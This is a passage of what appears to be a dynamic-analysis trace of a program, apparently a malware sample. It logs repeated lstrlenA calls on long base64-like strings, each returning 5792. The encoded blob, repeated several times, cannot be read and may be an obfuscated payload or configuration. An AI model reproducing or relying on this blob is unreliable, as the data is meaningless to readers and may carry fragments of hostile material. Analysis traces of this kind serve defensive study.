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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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